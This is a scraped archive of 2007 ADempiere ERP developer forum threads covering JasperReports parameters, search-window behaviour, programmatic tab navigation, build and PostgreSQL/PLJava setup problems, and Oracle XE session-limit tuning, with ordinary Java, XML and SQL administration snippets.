```

So, in iReports you can 'SELECT' AD_Client_ID, AD_Org_ID and AD_User_ID using only AD_PINSTANCE_ID.

Best Regards,
Ricardo

2007-04-18 17:59:45 UTC

Hi Ricardo,

>i've used the AD_PInstance_ID to select Client, Organization and User informations.

>

>In ReportStarter.java, insert the line below:

>

```
>params.put("AD_PINSTANCE_ID", new Integer( AD_PInstance_ID));
```

>

>So, in iReports you can 'SELECT' AD_Client_ID, AD_Org_ID and AD_User_ID using only AD_PINSTANCE_ID.

This is very interesting, thank's for sharing it.

I see two uses cases. Your way is automatic, which means that user do now see the parameter window asking him to select organization or client which is very welcome by users in some cases.

I think that we can add the line which you segested in ReportStarter and have this functionality by default in future versions.

Do you have commit rights?

If not i can add it.

Please let me know the line number on which you make addition.

Kind regards,
Trifon

2007-04-18 18:51:44 UTC

No, I don't.

You can insert after this: `params.put("RECORD_ID", new Integer(Record_ID));`

Line: 411

Thanks,
Ricardo

2007-04-18 19:48:26 UTC

Hi Ricardo,

i would like to inform you that change which you proposed is integrated into SVN:
[2154] trunk/JasperReports/src/org/compiere/report/ReportStarter.java

Contribution request created by me is:

[1703195] Silently pass AD_Client_ID, AD_Org_ID and AD_User_ID to Jasp

Kind regards,
Trifon

2007-04-19 13:43:58 UTC

Thanks guys for the quick reply, maybe could be usefull to also pass the other parameters (client/org..) in ReportStarter so we will not need to retrieve them with a join on the ad_pinstance table.

I have a couple of problems with the reports anyway, one is with subreports: I put everything inside a web directory and referenced the main report in Adempiere using the URL <http://myserver/jreports/myreport.xml> this works fine for the main report but when I add a subreport to it I got a "could not load object from location" error. This second report is referenced with just the name and no path or using "/" as the path but neither works. Any suggestion is really appreciated.

The second problem is with range parameter: I want to ask for a range of project, I defined the type of the parameter TableDir with element C_Project_ID, on the dialog the first parameter is correctly displayed with a combo box of all the projects, the second one is just a normal text box and disabled too.

Thanks
Angelo

2007-04-19 15:27:49 UTC

Hi Angelo,

>I have a couple of problems with the reports anyway, one is with subreports: I put everything inside a web directory and referenced the main report in Adempiere using the URL <http://myserver/jreports/myreport.xml> this works fine for the main report but when I add a subreport to it I got a "could not load object from location" error. This second report is referenced with just the name and no path or using "/" as the path but neither works. Any suggestion is really appreciated.

The subreport is a .jasper file?

When you use a report which contain a subreport into, you need to use the last with the compiled files (.jasper file).

I use the reports deployed into my app server and into the SUBREPORT_FILE_NAME I use the path as: new URL(\$P{Server}+"/webApp/MySubreport.jasper"). I have defined Server as parameter too.

I have in my Report.jrxml file something like:

```
<parameter name="AD_Client_ID" isForPrompting="true"
class="java.math.BigDecimal"/>
<parameter name="AD_Org_ID" isForPrompting="true"
class="java.math.BigDecimal"/>
<parameter name="DateAcct1" isForPrompting="true" class="java.util.Date"/>
<parameter name="DateAcct2" isForPrompting="true" class="java.util.Date"/>
<parameter name="Server" isForPrompting="true" class="java.lang.String">
<defaultValueExpression ><![CDATA["http://myappserver"]]></defaultValueExpression>
</parameter>
<parameter name="SUBREPORT_FILE_NAME" isForPrompting="false"
class="java.net.URL">
<defaultValueExpression ><![CDATA[new
URL($P{Server}+"/webApp/MySubreport.jasper")]]></defaultValueExpression>
</parameter>
```

Take a look for some additional info:

http://adempiere.com/wiki/index.php/Adempiere/Compiere_JasperReports_Integration_HowTo

>The second problem is with range parameter: I want to ask for a range of project, I defined the type of the parameter TableDir with element C_Project_ID, on the dialog the first parameter is correctly displayed with a combo box of all the projects, the second one is just a normal text box and disabled too.

I don't know if range works for a combo box (I never have tested it).

Best regards,

Alejandro

2007-04-19 15:46:55 UTC

Hi, I found a fix for my second problem I changed the method
GridFieldVO.createParameter(GridFieldVO voF)
I put this statements before the "return voT":

```
voT.AD_Reference_Value_ID = voF.AD_Reference_Value_ID;  
voT.initFinish();
```

Now I found another problem: Usually users want to print report using search keys in ranges, because IDs are not meaningful, so for instance they want to print customers from "Cartman" thru "Kenny", so I defined the parameter as Table choose "Value" for column name and element type, and "C_BPartner customer" as the table of reference. I saw that the lookup ignore the column name and just return the ID. This way other bp whose name is out of range are printed because their IDs are between the range. I will investigate a modification of the lookup class to accomplish my desired behaviour, but maybe I'm just missing something...

Angelo

2007-04-19 15:55:24 UTC

Thanks Alejandro,

I also considered a solution like yours but I would like most some sort of default behavior, maybe a parameter in Adempiere with the base url for report files, so you don't have to change every master report when you move then.

Angelo

2007-04-20 09:08:06 UTC

I download and built libero from svn(directory branches/libero).I also imported database sucessfully.Evreything is fine except some database fields are missing.some libero windows tries to insert data into not existible fileds.Exemple:
M_PRODUCTBOM.BOMTYPE fields.

Does anybody have any idea what is wrong?

Is this version of libero under development?

2007-04-21 22:13:17 UTC

hi all,

i try to build adempiere_trunk from source, downloaded today 21 april, bat build stop in print project org.compiere.print.layout.ImageElement.java line 103, "im = new MImage(....)";

MImage.class is in the Base project that is not yet build.

Maybe it depends on fixing Bug [1704548].

Thanks all.

Francesco

2007-04-22 06:11:03 UTC

Hi Francesco, thanks for reporting, fixed in trunk with revisions 2170 and 2171.

Regards,

Carlos Ruiz

2007-04-22 08:03:18 UTC

I hit the same thing during latest test compile. Will try to see if i can nail it :P
[javac] G:\adempiere_trunk\print\src\org\compiere\print\layout\ImageElement.
java:101: cannot find symbol
[javac] symbol : class MImage
[javac] location: class org.compiere.print.layout.ImageElement
[javac] MImage im = null;
[javac] ^
[javac] G:\adempiere_trunk\print\src\org\compiere\print\layout\ImageElement.
java:103: cannot find symbol
[javac] symbol : class MImage
[javac] location: class org.compiere.print.layout.ImageElement
[javac] im = new MImage(Env.getCtx(), imkeybd.in
tValue(), null);
[javac] ^
[javac] Note: G:\adempiere_trunk\print\src\org\compiere\print\PrintUtil.java
uses unchecked or unsafe operations.
[javac] Note: Recompile with -Xlint:unchecked for details.
[javac] 2 errors

2007-03-27 07:05:38 UTC

Hi everyone, us again.

We have a question about the search window that sometimes opens before the actual window. This happens if there are too many records, as I understood? Is this true?

We would like to have it to pop up every time someone clicks to open a certain window, is this possible? or is it possible to define amount of records that adempiere finds "much" so it opens search?

thank again,
mahir

2007-03-27 13:44:35 UTC

Hi Mahir,

In order to enable the search selection window popup for a certain window, login as System user, open "Tables and Columns", search the table which is behind the window you want to show the search selection popup (Product window = table M_Product) and checkmark "High Volume". This indicates that the popup will always appear.

Another way achieving this is to open the role definition window and set the "Confirm Query Records" field to a value you are comfortable with.

Best regards Johannes

2007-03-29 07:08:00 UTC

I can not believe it,... :(both methods not working :SSS

We have a window called Employees, and the first tab of this window is TAB called employee (behind this tab is a table called XX_HR_Employee), I checked this table to be "high volume" and when I tried it out nothing happens it just opens 3 records that I have! second approach also doesn't show any search window.. :(

2007-03-30 06:38:00 UTC

Hi Mahirmasala, AFAIR there is a hardcoded limit somewhere in Adempiere that counts the number of records and if there are less than 11 the window is opened without asking for search.

Please test adding 9 more records to your table.

Regards,

Carlos Ruiz - globalqss
<http://globalqss.com>

2007-03-30 11:50:36 UTC

carlos ur totally right! with >=11 its working fine

2007-03-30 19:36:59 UTC

Hi Mahir,

place where you could look in source code is:

APanel.java

```
// Query first tab
if (tab == 0)
{
// initial user query for single workbench tab
if (m_mWorkbench.getWindowCount() == 1)
{
// Query automatically if high volume and no query
query
if (mTab.isHighVolume() && (query == null || !query.isActive()))
{
MField[] findFields = mTab.getFields();
Find find = new Find (Env.getFrame(this), m_curWindowNo, mTab.getName(),
mTab.getAD_Table_ID(), mTab.getTableName(),
mTab.getWhereExtended(), findFields, 10);
query = find.getQuery();
if (query != null && find.getTotalRecords() <= 1)
goSingleRow = true;
find = null;
}
}
}
```

I found this searching for isHighVolume.
You could do it also and find other places.

Kind regards,
Trifon

2007-04-02 08:22:46 UTC

great, tnx! its now working

2007-04-03 00:32:36 UTC

Sorry for jumping on this discussion.

There's a hard-coded place that should be removed in Info.java line 493 function testCount(): if (role > 1000)

I think we should apply the Role's Query Max as below:

```
MRole role = MRole.getDefault();
if (role.isQueryMax(no))
return ADialog.ask(p_WindowNo, this, "InfoHighRecordCount", String.valueOf(no));
```

I have not contributed to trunk yet, should I do it now or after 3.2 released ?

Thanks,

Armen

<http://www.goodwill.co.id>

2007-04-03 20:51:12 UTC

Hi Armen,

>Sorry for jumping on this discussion.

>

>There's a hard-coded place that should be removed in Info.java line 493 function testCount(): if (role > 1000)

>

Your proposal is welcome, no need to apologize.

>MRole role = MRole.getDefault();

>if (role.isQueryMax(no))

>return ADialog.ask(p_WindowNo, this, "InfoHighRecordCount", String.valueOf(no));

>

>I have not contributed to trunk yet, should I do it now or after 3.2 released ?

My vote is for now, before 3.2.

Kind regards,

Trifon

2007-04-04 05:09:07 UTC

Armen, I'm not sure of the proposed solution.

Because the AD_Role.MaxQueryRecords is intended for normal windows, but I think that Info windows must have a different behavior.

I mean, we could think on a user who we want to restrict the number of records searched

in normal windows, but not apply the same restriction on Info windows. Not sure about this, maybe it would be better to hear other opinions.

My vote would be to implement this limit in the same way proposed here:

http://sourceforge.net/tracker/index.php?func=detail&aid=1647656&group_id=176962&atid=879332

Regards,

Carlos Ruiz

2007-04-04 15:41:36 UTC

re: Info Query max

well it's better the query max of the user than a hardcoded 1000, I think.

But this query-max normally only determines for "windows" that a search window pops ups when the max is passed... right? It doesn't restrict actual access or does it? Is the user forced to enter more & more details until the number of records to be returned is less than their query-max?

So in the case of a info-Query what should occur when teh max is passed? A block? I agree with Carlos on that point... but perhaps a "strong" warning prior to continuing? On the other hand a user querying ALL accounting fact records could potentially bringa whole systems to it's knees... so there is a risk in allowing unfetted access.

I can see new users just pressing return on a search screen to display all I remember once I back in my early days, I worked on a mainframe based Production Planning application for a big computer manufacturer. One day I arrived at worked to find a pallet (yes a wooden pallet used in warehouses) with a cube of paper stacked up. Perhaps 2 meters cubed waitnig for me at my desk. My manger wasn't too happy. The printout had my name but I didn't knwo what it was from. IN the end I discovered a new girl in the product Admin office had gone into the BOM printing program and just pressed enter, enter, enter etc.. as, being new, she didn't know what all the different field and prompts were for. This resulted in the printing of details of ALL BOMs in the system (literally millions of BOMs). Well, after 250 pages spooled the system decided it better redirected to the main systems fast laser printer. The girl thought she had broken the program so simply swiched off her terminal and said nothing :) And since I was the systems administrator it was prinetd on teh systems printer with my name & userid. :)

Anyway, I digress. I think the max-query is better than a fixed 1000. But after reliving my story above perhaps that max should also apply to info queries... with a message if the max is reached explaining the administrator should extend this for the user/role if required. ?????

colin

2007-04-10 04:28:15 UTC

Hi Carlos,

I'm also not sure if we should treat Info window differently than normal window. However, I agree to implement differently for such lookup components (i.e Drop-down List) as your proposal using SysConfig.

Anyway, I already submitted to trunk for quick fix to remove hard-coded place. We can later change that to better solution. Maybe we need to hear more opinions.

Thanks,

Armen

2007-04-23 13:08:48 UTC

Hi,

just an additional information...

To add a field to the 'normal' search tab (not the advanced search) you have to set the 'Selection Colum' flag for the column in the 'Table and Column' window.

Don't be surprised if the tab already shows some of your (customized) columns - in Find.java it is hardcoded to add all columns with "Name" somewhere in it's name. That took me some time to find out :)

Regards,
Karsten

2007-04-23 10:49:37 UTC

i want to import an sql file in compiere,i want that compiere read the sql file and execute the code's lines.how i do that?thanks

2007-04-23 14:17:35 UTC

Hi Genny85,

I do not know how it works in Compiere, but as far as I know, there is no sql import in Adempiere.

The imports I know in Adempiere are the ones with Import Loader Format (no direct sql file involved). Some of them come in Garden World out of the box and you can copy or modify them; if you want other imports, you have to write them. There is a nice document in the wiki written I believe by Red1 about how to do that.

In ADempiere you have to notice that there is a table which controls the IDs of -among others- all tables. It is the table named *ad_sequence*. There you have the columns

name and *currentnext* which determine the next ID to be used.

If you import let's say a sql file from outside Adempiere, you have to synch with this table; otherwise you will get an error when creating a new record in the concerning table.

If the import concerns more than one table you have to be VERY careful, because there are no logical checks: your DB would end up in a mess.

Best regards,
Mario Calderón

2007-04-11 21:34:42 UTC

hello

i have installed adempiere trunk into eclipse using subvrsion every thing goes ok!
but when i'm trying to biult the source using /uti_dev/Run_buit by clicking icon inside eclipse this error was generated:

Cleanup ...

```
java.lang.NoClassDefFoundError: org/apache/tools/ant/Main  
Exception in thread "main" Building ...
```

```
java.lang.NoClassDefFoundError: org/apache/tools/ant/Main  
Exception in thread "main" Press any key to continue . . .
```

i have checked windows enveiroment variables:

Ant_home,classs path,path

and trying to run using command prompt

E:\Nasher\Development\workspace\Adempiere\utils_dev\ant

it's worked fine!

but the error still generating when i'm using eclipse

thanks

2007-04-23 11:00:07 UTC

I'm reading threads in forum for any about 'eclipse run' and found you and a message that may be the answer for you. Lucky to find it out in short time. :)

Here is the message

http://sourceforge.net/forum/message.php?msg_id=4194370

Mark

2007-04-23 14:25:49 UTC

Hi Mohamed,

I documented in the wiki the hints I got from the community in the thread Mark quoted.

They are resumed in the

link http://www.adempiere.com/wiki/index.php/Create_your_ADempiere_development_environment.

Best regards,
Mario Calderón

2007-04-23 14:34:58 UTC

Remove the fullstop from the link above and got it.

http://www.adempiere.com/wiki/index.php/Create_your_ADempiere_development_environment

It is very useful page in my bookmark. :)

Mark

2007-04-21 01:57:54 UTC

Hi All,

I have my 2pack stuff working quite well in the trunk. I am attempting to now make the 2pack packages for libero so I can test that my 2pack packin and packout is working. On just the standard branch of libero I can't export a 2pack package at all. The logs says:

```
17:54:51.927 MIssue.setKeyInfo: (PK) AD_Issue_ID=1000274 [20]
=====> ProcessCtl.startProcess: org.compiere.PackOut.PackOut [20]
java.lang.NullPointerException
at org.compiere.apps.ProcessCtl.startProcess(ProcessCtl.java:508)
at org.compiere.apps.ProcessCtl.run(ProcessCtl.java:281)
```

```
17:54:52.273 ProcessCtl.run: lock [12]
17:54:52.274 AWindow.setBusy: AWindow_50003 - true [12]
17:54:52.285 ProcessCtl.run: unlock - Error starting Class
org.compiere.PackOut.PackOut [12]
17:54:52.285 AWindow.setBusy: AWindow_50003 - false [12]
17:54:52.290 GridTab.dataRefresh: #0 - row=1 [12]
17:54:52.290 GridTable.dataRefresh: Row=1 [12]
17:54:52.291 GridTable.dataIgnore: Nothing to ignore [12]
```

I did load the adempiere libero postgres dump via:

```
psql adempiere < AdempiereLibero_pg.dmp
```

on postgres 8.2.3

Can anyone get 2pack to export anything on the libero branch? This is critical for me to

continue to develop the 2pack functionality for the libero workflows.

-Tim

2007-04-21 02:52:29 UTC

Tim, not sure but I can suppose that possibly you're running Adempiere via WAN connection.

Can you test again the process running it via LAN connection - or even without server connection, just client?

Regards,

Carlos Ruiz

2007-04-23 18:54:26 UTC

I tried it without the server running and that same error occurred. Any other ideas?

2007-04-23 19:44:20 UTC

Hi Tim!

The issue is you need change the class to new package org.adempiere.pipo.PackOut

Kind regards

Victor Perez

<http://www.e-evolution.com>

2007-04-23 19:44:32 UTC

Hi Tim!

The issue is you need change the class to new package org.adempiere.pipo.PackOut

Kind regards

Victor Perez

<http://www.e-evolution.com>

2007-04-23 14:20:08 UTC

Hi,

After reading not-few wiki files and 'Create your ADempiere development environment', setup eclipse, checkout adempiere_trunk with Subclipse. Next should be compile source, generate database tables and run.

According to the wiki page above, arrange Java Build Path, and the problem I met was I couldn't find 'webstore' and 'doc' for me to order. But they exist in the Package Explor.

In Adempiere release, we could have a Adempiere_pg.dmp file to build tables in database before run Adempiere application server. But in development setup, next is going to create tables. Should we use the .dmp file or any SQL file somewhere?

Mark

2007-04-23 15:19:34 UTC

Hi Mark,

I changed the wiki article 'Create your ADempiere development environment'. There, I left the section of arranging the build path untouched.

As I understood Low (Heng Sing), the build path does not matter anymore, because the build is done automatically by xml. This confirms my empiric experiences, as I cannot change in my eclipse environment the build path (for some reasons I have not digged in, maybe somebody can tell me why), but nevertheless I can build and debug. If that is true, the wiki page 'Create your ADempiere development environment', section 'build path' should be deleted, as it has become irrelevant. I have not done it yet, because -as you may have noticed- I am not so sure about it.

The database to import are Adempiere.dmp (for Oracle) or Adempiere_pg.dmp (for Postgres). You do not need any other import or SQL to start using Adempiere (unless you are migrating from an older Adempiere version; then you should run the corresponding scripts within the 'migration' directory).

I have not tried to run setup from development, but I believe that one setup is enough: the second setup will for sure drop the user adempiere with all tables, views etc. and create what you deleted a couple of seconds before.

Best regards,
Mario Calderon

2007-04-24 04:08:22 UTC

Hi Mario,

From you information, I added a comment on the compile.

And the next would be... how to generate a set of run-time jar files(like the release version) that we could install in server and workstation. Would you please add to the wiki page. :)

Mark

2007-02-02 14:42:06 UTC

Hi all,

I have a form from which I want to make a small program which enables me to view one particular tab in a given window.
Can anyone help me, please?
Thanks in advance.

Saber.

2007-02-03 21:45:31 UTC

Hi Saber,

I think that this is only possible with some enhancements in APanel.java but here is a way that should work:

to open a window:

```
// open the Window (filtered) - same should work with query=null/without whereString
String whereString = " C_Order_ID IN (1000000, 1000001)";
final AWindow poFrame = new AWindow();
final MQuery query = new MQuery("C_Order");
query.addRestriction(whereString);
final boolean ok = poFrame.initWindow(AD_Window_ID, query);
//you need to define the AD_Window_ID somewhere, look at the table AD_Window in
db to find the right ID...
if (!ok) {
return false;
}
poFrame.pack();
AEnv.showCenterScreen(poFrame);
```

to navigate to a tab of the window you have to add some methods to APanel.java:

```
public int getSelectedTabIndex() {
return m_curWinTab.getSelectedIndex();
}
public void setSelectedTabIndex(int index) {
m_curWinTab.setSelectedIndex(index);
}
public int noOfTabs() {
return m_curWinTab.getTabCount();
}
public String getSelectedTabName() {
```

```
String title = m_curWinTab.getTitleAt(m_curWinTab.getSelectedIndex());
title = title.substring(title.indexOf("<html>")+6);
title = title.substring(0,title.indexOf("<"));
return title;
}
```

get the APanel of the opened window:
APanel apanel = poFrame.getAPanel();

now you can use the added methods to navigate to a tab of the window.

Best regards,
Karsten

2007-02-05 09:52:44 UTC

Hi Karsten,

Thanks a lot for your help. I tested it and it works fine.

Bast Regards,

Saber.

2007-02-06 05:06:34 UTC

Hi Karsten, I think this can be a good enhancement to be added into trunk.

We can think in future to add also some code for Zoom functionality to navigate directly to the tab where the record is defined (currently Zoom is opening the window, selecting the parent and positioning on first tab).

Regards,

Carlos Ruiz

2007-02-06 08:01:39 UTC

Hi,

>Access to a tab in a window programmatically

I also like this functionality and would like to see it in trunk.

Kind regards,
Trifon

2007-02-06 20:00:26 UTC

Hi,
perhaps it would be easier just to have a
`public JTabbedPane getCurWinTab(){`

2007-02-06 20:02:25 UTC

Hi,
perhaps it would be easier just to have a

```
public JTabbedPane getCurWinTab(){  
return m_curWinTab;  
}
```

what do you think?

Regards,
Karsten

2007-02-07 07:47:42 UTC

> We can think in future to add also some code for Zoom functionality to navigate directly to the tab where the record is defined (currently Zoom is opening the window, selecting the parent and positioning on first tab).

This functionality is totally missing from current adempiere, and this is very annoying for users, so it would be great if it will be implemented in trunk.

Best regards,
Teo Sarca

2007-02-16 09:48:32 UTC

Hi,

from a object orientated view it will be better not to give direct access to the JTabbedPane so I guess I will just add the three methods.

Karsten

2007-02-16 10:00:44 UTC

Integrated in revision 1576

regards,
Karsten

2007-02-19 11:32:24 UTC

Hi,

I added a wiki page for that:

http://www.adempiere.com/wiki/index.php/Open_Window_and_Tab

Regards,
Karsten

2007-04-17 18:23:30 UTC

Hi developers, I completed this submission on revision 2101, but it has a problem, the window is not focused after programatically opening.

Let me explain better:

I'm opening the window and navigating to the tab from a button callout (another good enhancement :-)

If I just open the window without navigating to the tab, it works perfect.

If I open the window and navigate to a tab (apanel.setSelectedTabIndex(2);) then the new window lost the focus, and the focus is returned to the original window with the button that called the callout.

I tried already with
apanel.requestFocus();
and
frame.requestFocus();
but none is working.

Can you advice on the matter?

The GW reproducible callout code would be:

```
-----  
if (frame.initWindow(123 /*BPartner Window*/,  
MQuery.getEqualQuery("C_BPartner_ID", 112))) {  
AEnv.addToWindowManager(frame);  
if (Ini.isPropertyBool(Ini.P_OPEN_WINDOW_MAXIMIZED))  
AEnv.showMaximized(frame);  
else  
AEnv.showCenterScreen(frame);  
// Navigate to the subscriber tab (problem, is losing the focus)  
APanel apanel = frame.getAPanel();  
if (apanel.noOfTabs() >= 7) {  
apanel.setSelectedTabIndex(5);
```

```
apanel.setSelectedTabIndex(6);
apanel.requestFocus();
frame.requestFocus();
}
frame = null;
}
return "";
```

Regards,

Carlos Ruiz

2007-04-18 01:36:02 UTC

hi carlos,

this should work:

```
frame.toFront();
```

2007-04-18 07:29:48 UTC

Hi,

so if it works it may be useful to include this call into the setSelectedTabIndex() because I guess this is the behaviour most users would expect.

Regards,
Karsten

2007-04-18 15:15:18 UTC

```
> frame.toFront();
```

didn't work :-(

Regards,

Carlos Ruiz

2007-04-18 22:15:21 UTC

carlos,

can u try this under java 1.6, it could be a swing bug. Also, if you can attach a test case somewhere, I'll try to debug this.

Regards,
Low

2007-04-25 09:11:17 UTC

Hi Carlos,

Did you solve your problem ?

If not, check out:

https://sourceforge.net/tracker/index.php?func=detail&aid=1707221&group_id=176962&atid=879332

Best regards,
Teo Sarca

2007-04-25 10:57:55 UTC

Small bug fixing for correct form translation.

Old code:

```
titledBorder = new TitledBorder(BorderFactory.createEtchedBorder(Color.white,new  
Color(134, 134, 134)), "Parameter");
```

new code:

```
titledBorder = new TitledBorder(BorderFactory.createEtchedBorder(Color.white,new  
Color(134, 134, 134)), Msg.getMessage(Env.getCtx(),"Parameter"));
```

Sergey Vishniakov

ADempiere.LV Team

2007-04-25 11:28:19 UTC

Privet, Sergey,

thank you for the patch.

Bug created:

1707303 Account Combination Form(VAccountDialog) translation issue

Committed into SVN Revision:

2198

<http://svn.sourceforge.net/adempiere/?rev=2198&view=rev>

Kind regards,
Trifon

2007-04-23 21:08:42 UTC

hi Johannes, Mario, Paul, red1, Trifon, Carlos, Teo

you all guys replied me for my previous problem. thanks again for that. now i am in new problem. i have overcome the problem which occurred during the code compile in eclipse.

now i want to make a coding environment in UBANTU. i have downloaded the adempiere 1.3.5

source code. after unzip it, its size became 232.4 MB. i have uploaded some pics of some problem. please see Image1. This pic is showing the contents of the adempiere 1.3.5 source folder. please see is it OK. Image1=

<http://parthasarker.ifastnet.com/errors/error.html>.

i have compiled the source correctly in eclipse at UBANTU. but i am in big problem. please see, i have uploaded the eclipse coding environment's some picture. the images are Image2,3,4,5,6,7.

now i need to make the database, tables of adempiere. at first in UBANTU i have finished to install PostgreSQL. but it was not supported PLJAVA. that's why i have installed another PostgreSQL. on the installation file there was written that this PostgreSQL is pljava supported. see Image 8 [on the right side, the installation file name is postgresql 8.1-pljava-gci_1.3.0-1build1_386.dev]. but still now i have problem with pljava in UBANTU i think.

i have uploaded another pic Image9 at the same url

<http://parthasarker.ifastnet.com/errors/error.html>.

this picture is from windows operating system.

in windows after everything, when i opened the pgaAdmin, on the Language(3) see [on the Image8] there is 3 language available. [java, javau, plpgsql]

but see Image10. there is no language(0). this picture is from UBANTU version. now i don't know what is happening.

PLEASE tell me what i will do. how can i setup adempiere coding environment in UBANTU.

what should i install. i know that i have to create a lot of tables,.....but how.

i have found some .sql file on some folder of my adempiere 1.3.5 folder.

see image 11,12,13.

now please tell me, what will i do. i don't want to stop. i want to fix the problem. i want to develop adempiere.

what i think is,

1) i have to create a database.

2) i have to create a role,

3) i need to create table,view,.....

4) there might be a way to dump the whole adempiere 3.1.5 database,table, eveything by commandline by using a dump file like what we did in windows .

please genius guys,help me.

2007-04-24 07:21:33 UTC

Hi all genius guys

help me.i am not finding any way to solve the problem.

there was some problem on the server of the link i have provided before.

please see again and give me the way to solve the problem.

2007-04-24 07:40:05 UTC

Codder,

I couldn't see the images but I'm sure that's not a problem. All you have to do is to follow the procedure onhttp://www.adempiere.com/wiki/index.php/Manual_postgres_setup_in_linux provided by kontro.

I, personally, built and ran ADempiere 3.1.5 with PostgreSQL 8.2.3 and PLJava on Ubuntu 6.10.

Warm regards,
Bahman

2007-04-25 16:08:35 UTC

Hey codder,

Slow down, you are too hurry, too fast to type Adempiere version correctly. You should have 3.1.5 and not 1.3.5, Right!? Carefully reading steps in manual and do it slowly and study what you're doing. As you would have chance to give someone advice later also. Not every one have experience on your platform to give you hints. I will try your situation and try to tell you something. But by that time, you could solve your problem and could give me advice. :)

Mark

2007-04-25 21:00:24 UTC

Hey Mark and Bahman
thanks for reply.i made a mistake to provide the link of my images.
the actual link is

<http://parthasarker.ifastnet.com/error.html>

please see here.i will try with that link which Bahman gave me to do.i am new in linux.so
i hope that i am going to face more problem working with it.

i hope you guys will me again.

codder [partha]

2007-04-25 23:09:32 UTC

Hi Codder,

you have to first understand Adempiere before daring to touch a single code of line.
Otherwise you will land in hell. Thus, it is my belief that you are completely wrong if
you FIRST want to debug and program Adempiere BEFORE you understand the whole
picture. Study the Dictionary. See how it and Callouts work. It is all well but somehow
chaotic documented in the wiki. Read all posts in this forum.

If you say you have to create lots of tables and views, maybe Adempiere is the wrong
plattform for your goals. Unless you plan a very big vertical solution.

On the other hand, your posts lead me to the conviction that maybe you cannot gain all
know-how by yourself, but you should buy it from someone in this forum. As far as I can
see, you ask for and need step-by-step guidance, so you have to be told "klick here", type
in that. How do you now you need guidance? If you weigh the time you have spent and
what you have achieved.

The basis of your work have to be sound if you want to become productive. That is basic
in every business. Reconsider what you want and how you want to achieve it. I would
dare say that you have to set up your project anew.

Best regards,
Mario Calderón

2007-01-23 23:54:10 UTC

Hi all,

The error below appear when 2 clients connect on database, I found a 'solution' for this
error, just run the oracle script below. OK now I can open 25 clients before the error

appear again. If I change this script like processes=300, the result is same, only 25 client can connect to database without ORA-12516 error.

Any ideas?

Ricardo

--sorry for bad english

*** Oracle Parameters:

```
alter system set processes=150 scope=spfile;
```

```
alter system reset sessions scope=spfile sid='*';
```

```
=====> DB_Oracle.getCachedConnection: java.sql.SQLException: Listener
refused the connection with the following error:
ORA-12516, TNS:listener could not find available handler with matching protocol stack
The Connection descriptor used by the client was:
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(PORT=1521)(HOST=SERVER))(C
ONNECT_DATA=(SERVICE_NAME=x)))
```

```
21:17:06.015 DB_Oracle.getCachedConnection:
DB_Oracle[jdbc:oracle:thin:@//SERVER:1521/xe-
CompiereDS,ImplCache=true,MaxStmts=50]
```

```
=====> CConnection.getConnection: jdbc:oracle:thin:@//SERVER:1521/x, (1)
AutoCommit=true,TrxIso=READ_COMMITTED - Listener refused the connection with
the following error:
ORA-12516, TNS:listener could not find available handler with matching protocol stack
The Connection descriptor used by the client was:
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(PORT=1521)(HOST=SERVER))(C
ONNECT_DATA=(SERVICE_NAME=x)))
```

2007-01-24 00:15:07 UTC

Hi,

You can either increase further the processes parameter or try the wan connection profile.

Regards,

Low

2007-04-24 14:45:56 UTC

I have the same problem.

I trayed to increase the value of the processes parameter in the database with this sql script :

```
alter system set processes=150 scope=spfile;
```

but i got this message error :
ORA-02095: specified initialization parameter cannot be modified

so is there any solution?

Thanks
Walid

2007-04-24 15:02:20 UTC

Hi,

You have to be sysdba and you need to restart oracle after modifying. Try:

```
C:\> sqlplus / as sysdba
```

```
SQL> ALTER SYSTEM SET processes=150 SCOPE=SPFILE;
```

```
SQL> ALTER SYSTEM RESET sessions SCOPE=SPFILE SID='*';
```

```
SQL> shutdown immediate
```

```
SQL> startup
```

Best regards,
Teo Sarca

2007-04-25 11:00:11 UTC

thank you Teo for the solution.

But we have the same error when we connect 25 clients(As ricardo says).

is there some one who succeed to connect more then 25 clients with Oracle XE ?

2007-04-26 02:12:38 UTC

Hi Freebyte, what about monitoring the number of sessions opened?

Can you post the related v\$parameters session/process ?

Can you test how many sessions are opening every client (must be 1 according to DB.java)

Regards,

Carlos Ruiz

2007-04-26 16:18:29 UTC

Hi Carlos,

in the table v\$parameter : sessions=170 and processes=150

and every client open 5 sessions (not 1 !!!)

2007-04-26 16:42:33 UTC

Hi,

>in the table v\$parameter : sessions=170 and processes=150

>

>and every client open 5 sessions (not 1 !!!)

Which version do you use?

It was problem in old version that each client open more than one session.

Kind regards,

Trifon

2007-04-26 17:44:20 UTC

Dear developers,

my usual role in this forums is to answer to your questions, but now i need advice.

I'm trying to stop opening of window when user cancel find operation. The small find window which appear when table has many records ("Window, Tab and Field" is one example), but unfortunately i fail till now :(

Problem is that i'm trying to do this on version 2.5.2d working with JDK 1.4.

I applied modifications which Teo committed for Adempiere, but problem is still the same.

Bug:

[1670847] Find dialog: closing and canceling need same functionality

```
addWindowListener(new WindowAdapter() {  
  
public void windowClosing(WindowEvent e) {  
cmd_cancel();  
}  
});
```

I tried to use JDK 1.5, but no change.

Does anyone has idea what else i need to change?

Kind regards,
Trifon

2007-04-26 18:03:08 UTC

Hi Trifon,

*** Fixed in rev. 1722 by Goodwill
<http://svn.sourceforge.net/adempiere/?rev=1722&view=rev>

:))

Best regards,
Teo Sarca

2007-04-26 19:05:49 UTC

Hi Teo,

thank you!!!

I hate this old Compiere versions :(
They make me only headache...

Kind regards,
Trifon

2007-04-26 19:16:16 UTC

> Problem is that i'm trying to do this on version 2.5.2d working with JDK 1.4.

:-) So, your customer needs to move to Adempiere!!!
What can be stopping them if they have hired a contributor/council member?

Regards,

Carlos Ruiz

2007-04-26 19:24:47 UTC

Hi Carlos,

>> Problem is that i'm trying to do this on version 2.5.2d working with JDK 1.4.
>
>:-) So, your customer needs to move to Adempiere!!!

>What can be stopping them if they have hired a contributor/council member?

Well. The main problem is price...

I work on this project for 1.5 years and and it is still in approve stage... very near to production, but as most companies do not want to risk huge amount of money, budget is small and speed too. In fact i think that it is very very risky to start project with small budget.

Kind regards,
Trifon

2007-04-27 07:37:44 UTC

Hi all.

When adempiere is deployed in the client by java webstart, where to find the log files in the client side?

Thank's

2007-04-27 13:40:33 UTC

Hi kisito!

You need to open your javawebstart preferences.

In Windows you need to double click on the javaws.exe file of your java installation.

In linux you may need to run something like this:

```
/opt/jre/javaws/javaws
```

Select the option menu edit, preferences,
Go to the advanced tab
Select show java console.

That's it! When you run Adempiere, an small window will show you the log.

Best Regards!

2007-04-27 21:56:34 UTC

